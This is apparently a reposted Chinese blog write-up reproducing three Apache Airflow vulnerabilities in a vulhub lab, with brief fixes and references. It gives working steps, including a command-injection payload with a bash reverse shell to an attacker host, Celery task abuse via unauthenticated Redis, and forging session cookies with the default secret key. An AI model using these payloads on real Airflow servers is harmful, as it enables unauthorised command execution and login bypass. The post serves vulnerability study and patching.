Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
0x01 Apache Airflow 示例dag中的命令注入(CVE-2020-11978)
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
Apache Airflow <= 1.10.10
本次靶场使用vulhub中的docker环境,开启前先对数据库进行初始化。靶场地址为http://192.168.160.142:8080。
docker-compose run airflow-init
访问http://192.168.160.142:8080,Apache Airflow页面正常展示,靶场搭建成功。
访问http://192.168.160.142:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。
进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。
在Configuration JSON中输入:{"message":"'";touch /tmp/airflow_dag_success;#"},再点击Trigger执行dag。
进入容器查看目录,发现成功创建/tmp/airflow_dag_success文件,漏洞复现成功。
攻击机192.168.160.143开启nc,监听8888端口。
在Configuration JSON中输入:{"message":"'";bash -i >& /dev/tcp/192.168.160.143/4444 0>&1;#"},再点击Trigger执行dag。
删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
https://github.com/pberba/CVE-2020-11978
https://github.com/vulhub/vulhub/blob/master/airflow/CVE-2020-11978/
https://xz.aliyun.com/t/8037?page=1
0x02 Apache Airflow Celery 消息中间件命令执行(CVE-2020-11981)
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。
Apache Airflow <= 1.10.10
本次靶场使用vulhub中的docker环境,开启前先对数据库进行初始化。靶场地址为http://192.168.160.142:8080。
docker-compose run airflow-init
访问http://192.168.160.142:8080,Apache Airflow页面正常展示,靶场搭建成功。
利用这个漏洞需要控制消息中间件,Vulhub环境中Redis存在未授权访问。通过未授权访问,攻击者可以下发自带的任务airflow.executors.celery_executor.execute_command来执行任意命令,参数为命令执行中所需要的数组。
vulhub中自带利用脚本,为“touch /tmp/airflow_celery_success”命令。
docker-compose logs airflow-worker
查看容器目录,/tmp/airflow_celery_success文件创建成功。
docker-compose exec airflow-worker ls -l /tmp
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
https://www.jianshu.com/p/abec6fd13236
0x03 Apache Airflow 默认密钥导致的权限绕过(CVE-2020-17526)
Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定`webserver.authenticate=True`来开启认证。
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
Apache Airflow <= 1.10.13
本次靶场使用vulhub中的docker环境,开启前先对数据库进行初始化。靶场地址为http://192.168.160.142:8080。
docker-compose run airflow-init
访问http://192.168.160.142:8080,Apache Airflow页面正常展示,靶场搭建成功。
Cookie:session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiYmM4NTAzYzY2ZWViYjYyNjkxZTM5YzFkODVmYmM5MjY1NzE5YzI3ZiJ9.Yl_BqQ.p7d6xavYN19awJVw1ubVzPxHONA
pip install flask-unsign[wordlist]
使用Flask_Unsign工具对Cookie进行破解,其key为“temporary_key”。
flask-unsign -u -c eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiYmM4NTAzYzY2ZWViYjYyNjkxZTM5YzFkODVmYmM5MjY1NzE5YzI3ZiJ9.Yl_BqQ.p7d6xavYN19awJVw1ubVzPxHONA
使用这个key生成一个新的session,其中伪造`user_id`为1。
在浏览器中使用生成的cookie访问,成功绕过登录进入页面。
更改[webserver] “secret_key”配置默认值。
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
https://www.jianshu.com/p/abec6fd13236
原文始发于微信公众号(Matrix1024):Apache Airflow系列漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/930196.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论